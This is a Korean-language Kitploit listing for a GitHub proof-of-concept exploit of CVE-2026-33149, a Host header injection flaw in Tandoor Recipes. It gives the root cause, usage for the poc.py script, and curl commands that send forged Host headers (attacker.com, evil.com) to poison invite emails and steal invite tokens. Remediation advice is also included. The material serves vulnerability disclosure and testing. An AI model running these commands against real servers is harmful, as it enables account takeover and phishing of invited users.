Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33149-PoC — CVE-2026-33149에 대한 개념 증명 익스플로잇으로, Tandoor Recipes의 Host 헤더 주입 취약점을 이용해 초대 링크 중독(invite link poisoning)과 캐시 중독(cache poisoning)을 가능하게 합니다. 호스트 승인, 페이지네이션, 스키마, 초대 중독을 위한 모듈이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingWeb SecurityPenetration Testing
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

CVE-2026-33149에 대한 개념 증명 익스플로잇으로, Tandoor Recipes의 Host 헤더 주입 취약점을 이용해 초대 링크 중독(invite link poisoning)과 캐시 중독(cache poisoning)을 가능하게 합니다. 호스트 승인, 페이지네이션, 스키마, 초대 중독을 위한 모듈이 포함되어 있습니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33149 — Tandoor Recipes의 Host Header Injection

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


요약

Tandoor Recipes는 settings.py에서 기본적으로 ALLOWED_HOSTS = '*'로 설정되어 있어, Django가 HTTP Host 헤더의 을 검증 없이 수락하게 됩니다. 애플리케이션은 여러 보안에 민감한 컨텍스트에서 절대 URL을 생성하기 위해 를 사용합니다. 조작된 헤더로 요청을 보낼 수 있는 공격자는 서버에서 생성된 모든 URL을 공격자가 제어하는 도메인으로 리디렉션할 수 있습니다.

모든 값
request.build_absolute_uri()
Host

가장 심각한 영향은 초대 링크 중독(invite link poisoning)입니다: 관리자가 사용자 초대를 생성하면 서버가 보내는 이메일에는 공격자의 도메인을 가리키는 링크가 포함됩니다. 피해자는 정상적으로 보이는 이메일을 클릭하고, 초대 토큰이 유출되며, 공격자는 이를 사용하여 계정 프로비저닝 흐름을 탈취합니다.

취약점 세부 정보

필드값
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — 스크립팅 구문을 위한 HTTP 헤더의 부적절한 중화(Improper Neutralization of HTTP Headers for Scripting Syntax)
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
영향받는 버전Tandoor Recipes ≤ 2.5.3
공급업체TandoorRecipes/recipes

MITRE ATT&CK 매핑

기술 ID이름관련성
T1557Adversary-in-the-Middle트래픽을 리디렉션하기 위해 서버 생성 URL 조작
T1566.002Phishing: Spearphishing Link중독된 초대 이메일에 공격자가 제어하는 링크 포함

근본 원인 분석

1. 와일드카드 ALLOWED_HOSTS

파일: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django의 ALLOWED_HOSTS는 Host 헤더를 화이트리스트와 대조하여 검증하는 보안 조치입니다. 와일드카드 '*'는 이 검증을 완전히 비활성화하여 임의의 값을 허용합니다.

2. 초대 이메일의 안전하지 않은 URL 생성

파일: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri()는 request.get_host()를 사용하여 URL을 구성하는데, ALLOWED_HOSTS가 이를 제한하지 않으면 원시 Host 헤더 값을 반환합니다. 초대 UUID(비밀 토큰)는 이제 공격자를 가리키는 URL에 포함됩니다.

3. 추가 영향 표면

  • API 페이지네이션 — DRF 페이지네이션 클래스는 next/previous URL에 build_absolute_uri()를 사용합니다.
  • OpenAPI 스키마 — 스키마 생성기는 서버 URL에 이를 사용합니다.
  • 캐시 중독 — 캐싱 프록시를 사용하는 배포 환경에서는 단일 요청으로 모든 사용자에게 중독된 URL이 제공될 위험이 있습니다.

공격 흐름

root@kitploit:~
┌──────────┐     ① 조작된 요청          ┌─────────────────┐
│ 공격자   │ ──────────────────────────────→│  Tandoor 서버  │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             "attacker.com" 사용
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP 서버     │
                                            └────────┬───────┘
                                                     │
                                       ③ 중독된 링크가 포함된 이메일:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    피해자      │
                                            │  (링크 클릭)   │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID가 공격자에게 전송됨
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   공격자       │
                                            │ 실제 서버에서  │
                                            │ UUID 사용     │
                                            └────────────────┘

개념 증명(PoC)

요구 사항

  • Python 3.8+
  • requests 라이브러리
root@kitploit:~
pip install requests

사용법

root@kitploit:~
# 기본 인증으로 모든 검증 모듈 실행
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# 세션 쿠키로 모든 모듈 실행
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# 초대 링크 중독만 실행
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

모듈

모듈설명
host-accept대상이 임의의 Host 헤더를 수락하는지 확인 (ALLOWED_HOSTS = '*')
paginationAPI 페이지네이션 URL이 주입된 도메인을 반영하는지 확인
schemaOpenAPI 스키마 서버 URL이 주입된 도메인을 반영하는지 확인
invite중독된 초대 링크 생성 — 주요 공격 벡터
all모든 모듈을 순차적으로 실행

수동 검증 (curl)

1. Host 헤더 수락

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# 예상: 200 (취약) | 400 (패치됨)

2. 페이지네이션 URL 반영

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# 예상: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. 스키마 URL 반영

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# 예상: http://evil.com/...

4. 초대 링크 중독

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# 피해자가 이메일 수신: "Click: http://attacker.com/invite/<uuid>"

영향

영향 영역설명심각도
초대 토큰 탈취공격자가 중독된 이메일 링크를 통해 초대 UUID를 획득하여 계정 프로비저닝을 탈취치명적(Critical)
자격 증명 피싱피해자가 정상적인 등록 페이지로 기대하고 공격자가 제어하는 도메인에 접속높음(High)
캐시 중독캐싱 프록시를 사용하는 배포 환경에서 단일 중독 응답이 모든 사용자의 캐시를 오염높음(High)
API 클라이언트 오인 유도페이지네이션 및 스키마 URL이 API 소비자를 공격자 인프라로 리디렉션중간(Medium)

해결 방안

즉시 수정

ALLOWED_HOSTS를 유효한 호스트 이름을 명시적으로 나열하도록 설정하세요:

root@kitploit:~
# docker-compose.yml 또는 .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

심층 방어

  1. 리버스 프록시 검증 — Nginx/Apache가 Django에 도달하기 전에 예상치 못한 Host 헤더가 있는 요청을 거부하도록 구성
  2. USE_X_FORWARDED_HOST = False — Django가 신뢰할 수 없는 소스의 X-Forwarded-Host를 신뢰하지 않도록 보장 (기본값은 False)
  3. SMTP 링크 강화 — request.build_absolute_uri()에 의존하는 대신 이메일 링크 생성에 명시적인 SITE_URL 구성을 사용

참고 자료

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: HTTP 헤더의 부적절한 중화
  • Django ALLOWED_HOSTS 문서
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle
  • MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link

면책 조항

이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.


작성자

Filipe Gaudard — 공격적 보안 연구원 | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
도구 다운로드